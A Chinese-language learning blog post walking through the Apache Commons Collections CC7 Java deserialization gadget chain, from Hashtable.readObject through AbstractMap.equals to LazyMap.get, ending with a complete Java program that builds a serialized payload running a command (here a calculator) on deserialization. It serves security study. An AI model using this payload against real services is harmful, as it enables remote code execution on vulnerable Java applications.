跟CC5一样,也是利用CC1的LazyMap.get及之后的部分,也是只改了开头。
这次是利用Hashtable.readObject方法,这个类是可以序列化的。
寻找 在AbstractMap类里的equals方法调用了get方法:
1 2 3 4 5 6 7 8 public boolean equals (Object o) { ………… if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; ………… return true ; }
在Hashtable类的reconstitutionPut方法调用了equals方法:
1 2 3 4 5 6 7 8 9 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException{ ………… for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } ………… }
在本类的readObject调用了reconstitutionPut方法:
1 2 3 4 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException{ ………… reconstitutionPut(table, key, value); }
构造 看一下equals方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }
它进行了三个判断:
判断是否为同一对象
判断对象的运行类型
判断Map中元素的个数
当以上三个判断都不满足的情况下,则进一步判断Map中的元素,也就是判断元素的key和value的内容是否相同,在value不为null的情况下,m会调用get方法获取key的内容,虽然对象o向上转型成Map类型,但是m对象本质上是一个LazyMap。因此m对象调用get方法时实际上是调用了LazyMap的get方法。
看看Hashtable的readObject方法,这个方法没什么需要注意的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int )(elements * loadFactor) + (elements / 20 ) + 3 ; if (length > elements && (length & 1 ) == 0 ) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry <?,?>[length]; threshold = (int )Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
我们再来看看reconstitutionPut方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
reconstitutionPut方法首先对value进行不为null的校验,否则抛出反序列化异常,然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry并添加到tabl数组中。
CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞。
需要注意的是,在添加第一个元素时并不会进入if语句调用equals方法进行判断,因此Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法,否则不会触发漏洞。
所以我们这里至少需要两个map:
1 2 3 4 5 6 7 8 9 10 11 HashMap hashMap1 = new HashMap ();HashMap hashMap2 = new HashMap ();Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer); LazyMap1.put("aa" ,1 ); Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);LazyMap2.put("bb" ,1 ); Hashtable hashtable = new Hashtable ();hashtable.put(LazyMap1,1 ); hashtable.put(LazyMap2,1 );
前面我们说过触发漏洞还有一个前提:两个元素的hash值必须相同。 在反序列化时,reconstitutionPut方法中的if判断中两个元素的hash值必须相同的情况下,才会调用eauals方法。这也是为什么我们在构造利用链的时候必须添加两个两个元素,虽然这两个元素的hash值是一样的,但本质上是两个不同的元素。
可以打印出两个元素的hash:
1 2 System.out.println(LazyMap1.hashCode()); System.out.println(LazyMap2.hashCode());
这里给出两组hash相同的值:
关于lazyMap2集合中的第二个元素(yy=yy)从何而来 Hashtable在添加第二个元素时,lazyMap2集合会“莫名其妙”添加一个元素yy,后面仔细跟踪了Hashtable添加元素的过程才发现,Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法put一个元素yy:
1 hashtable.put(LazyMap2,1 );
这句代码执行完毕后,LazyMap2里就有了两个元素,zZ和yy。
当在反序列化时,reconstitutionPut方法在还原table数组时会调用equals方法判断重复元素,由于AbstractMap抽象类的equals方法校验的时候更为严格,会判断Map中元素的个数,由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞。
因此在构造CC7利用链的payload代码时,Hashtable在添加第二个元素后,lazyMap2需要调用remove方法删除元素yy才能触发漏洞。
完整CC7链: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"mate-calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap hashMap1 = new HashMap (); HashMap hashMap2 = new HashMap (); Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer); LazyMap1.put("yy" ,1 ); Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer); LazyMap2.put("zZ" ,1 ); Hashtable hashtable = new Hashtable (); hashtable.put(LazyMap1,1 ); hashtable.put(LazyMap2,1 ); LazyMap2.remove("yy" ); serialize(hashtable); } public static void serialize (Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("serialize" )); oos.writeObject(obj); } }
总结 断断续续学了一周,总算是把7条CC链学完了,成功迈出了学习java安全的第一步,下面就是做题和其他的链子了。总的来说CC链学会调试,学会基本方法和思路来说不是很难,很多链子都是互相相似的,比如CC1与CC5、CC7等。重要的链子就是CC1、CC3、CC6这三条,CC1的动态代理,CC3的代码执行。
学不懂多看几遍视频,多看几篇文章,虽然很难,慢慢啃肯定是没问题的,更何况我们是站在前人的肩膀上。
自己有了光芒才配得上自己追逐的星星。
继续加油吧!
最后附上CC链的思维导图: